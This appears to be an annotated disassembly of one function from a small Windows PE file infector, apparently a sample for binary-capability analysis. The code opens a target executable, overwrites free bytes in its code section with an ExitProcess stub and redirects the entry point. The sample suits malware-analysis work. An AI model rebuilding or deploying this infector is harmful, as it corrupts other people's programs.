Function at 0x14001102d
Capabilities:
Accept command line arguments
Get file size
Read file via mapping

Disassembly:
jmp 0x1400119c0
push rbp
push rsi
push rdi
sub rsp, 0x3f0
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x8c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x3a8], rax
lea rcx, [0x1400240a2]
call fcn.1400113b6
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rbp + 8], rax
lea rdx, [rbp + 0x24]
mov rcx, qword [rbp + 8]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rbp + 0x48], rax
cmp dword [rbp + 0x24], 2
jge 0x140011a53
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rcx + rax]
lea rcx, str.Usage:__s__filename__n
call fcn.140011032
lea rcx, str.Simple_PE_infector_by__antony_n
call fcn.140011032
mov eax, 1
jmp 0x140011e70
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rbp + 0x48]
mov rax, qword [rcx + rax]
mov qword [rbp + 0x68], rax
mov rdx, qword [rbp + 0x68]
lea rcx, str.Target_File:__s_n
call fcn.140011032
call qword [sym.imp.ucrtbased.dll_getchar]
mov qword [rbp + 0xc8], 0
lea rax, [rbp + 0x1c8]
lea rcx, [0x14001ada8]
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov rdx, qword [rbp + 0x68]
lea rcx, str.Target_File:__s_n
call fcn.140011032
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0xffffffffffffffff
jne 0x140011b11
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._Error_:_Cant_open_File__Error_code_:__d
call fcn.140011032
mov eax, 0xffffffff
jmp 0x140011e70
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 0xe4], eax
mov edx, dword [rbp + 0xe4]
lea rcx, str._File_Size__:__d__n
call fcn.140011032
mov qword [rsp + 0x28], 0
mov eax, dword [rbp + 0xe4]
mov dword [rsp + 0x20], eax
xor r9d, r9d
mov r8d, 4
xor edx, edx
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0xffffffffffffffff
jne 0x140011b9f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._Error_:_Cant_map_file__Error_code:__d_n
call fcn.140011032
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x140011e70
mov eax, dword [rbp + 0xe4]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 6
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x140011c0b
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._Error_:_Cant_map_file__Error_code__d_n
call fcn.140011032
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x140011e70
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
mov eax, dword [rax + 0x3c]
mov ecx, dword [rbp + 0xc8]
add ecx, eax
mov eax, ecx
mov eax, eax
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x188]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x188]
lea rax, [rcx + rax + 0x18]
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x188]
movzx eax, word [rax + 6]
mov edx, eax
mov rcx, qword [rbp + 0x1a8]
call fcn.14001105f
mov dword [rbp + 0x124], eax
cmp dword [rbp + 0x124], 0
jne 0x140011cac
lea rcx, str._Error_:_Cant_find_.text_section__n
call fcn.140011032
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x140011e70
mov eax, dword [rbp + 0x124]
sub rax, 0xa
mov dword [rbp + 0x104], eax
lea rcx, str.scanning..._n
call fcn.140011032
mov dword [rbp + 0x1f4], 0
jmp 0x140011ce2
mov eax, dword [rbp + 0x1f4]
inc eax
mov dword [rbp + 0x1f4], eax
movsxd rax, dword [rbp + 0x1f4]
cmp rax, 0xa
jae 0x140011d68
mov eax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0xc8]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rbp + 0x1f4]
movzx eax, byte [rax + rcx]
mov byte [rbp + 0x214], al
movzx eax, byte [rbp + 0x214]
mov edx, eax
lea rcx, str._X__t
call fcn.140011032
movzx eax, byte [rbp + 0x214]
test eax, eax
je 0x140011d63
lea rcx, str.There_is_some_data..._n
call fcn.140011032
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xffffffff
jmp 0x140011e70
jmp 0x140011cd4
lea rcx, str.Space_if_free___infecting_File..._n
call fcn.140011032
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.ExitProcess
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp + 0x144], eax
mov dword [rbp + 0x1f4], 0
jmp 0x140011db1
mov eax, dword [rbp + 0x1f4]
inc eax
mov dword [rbp + 0x1f4], eax
movsxd rax, dword [rbp + 0x1f4]
cmp rax, 0xa
jae 0x140011de8
movsxd rax, dword [rbp + 0x1f4]
cmp dword [rbp + rax + 0x1c8], 0xb8
jne 0x140011de6
movsxd rax, dword [rbp + 0x1f4]
mov ecx, dword [rbp + 0x144]
mov dword [rbp + rax + 0x1c9], ecx
jmp 0x140011da3
mov rax, qword [rbp + 0x188]
mov edx, dword [rax + 0x28]
lea rcx, str.Old_Entry_Point_:__08X__n
call fcn.140011032
mov eax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0xc8]
add rcx, rax
mov rax, rcx
mov r8d, 0xa
lea rdx, [rbp + 0x1c8]
mov rcx, rax
call fcn.1400111d6
mov rax, qword [rbp + 0x188]
mov ecx, dword [rbp + 0x104]
mov dword [rax + 0x28], ecx
lea rcx, str.File_infected__n
call fcn.140011032
mov edx, dword [rbp + 0x104]
lea rcx, str.New_Entry_Point:__08X__n
call fcn.140011032
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001acc0]
call fcn.140011348
mov rax, rdi
mov rcx, qword [rbp + 0x3a8]
xor rcx, rbp
call fcn.1400111d1
lea rsp, [rbp + 0x3b0]
pop rdi
pop rsi
pop rbp
ret